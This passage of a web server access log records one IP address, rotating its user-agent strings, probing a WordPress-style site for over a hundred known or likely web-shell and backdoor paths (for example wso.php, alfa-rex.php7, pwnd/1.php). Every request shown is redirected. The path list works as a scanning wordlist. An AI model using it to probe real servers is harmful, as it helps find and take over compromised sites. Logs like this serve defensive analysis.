Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:20:45 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:45 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:45 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:45 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:45 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:45 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:46 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:46 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:46 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:47 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:47 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:47 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:47 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:20:47 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:47 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:48 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:48 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:48 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:48 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:48 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:48 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:20:48 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:48 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:48 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:49 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:49 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:49 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:49 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:49 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:50 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:50 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:50 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:20:50 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:50 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:20:50 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:51 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:51 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:51 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:51 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:51 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:52 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:52 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:20:52 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:20:52 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:20:52 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:52 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:52 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:20:52 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:53 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:53 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:53 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:53 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:53 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:53 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:53 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:53 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:20:53 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:54 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:54 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:54 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:54 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:54 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:20:54 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:54 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:20:54 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:55 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:55 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:20:55 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:55 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:20:55 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:55 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:55 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:55 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:56 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:56 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:20:56 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:56 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:56 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:56 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:56 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:20:57 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:57 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:57 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:57 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:20:57 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:20:57 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:58 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:58 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:58 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:20:58 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:58 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:58 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:58 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:20:58 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:59 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:59 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:59 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:20:59 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:59 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:59 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:20:59 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:00 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:00 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:00 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:00 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:00 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:21:00 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:00 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:01 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:01 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:01 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:01 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:01 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:01 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:01 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:01 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - 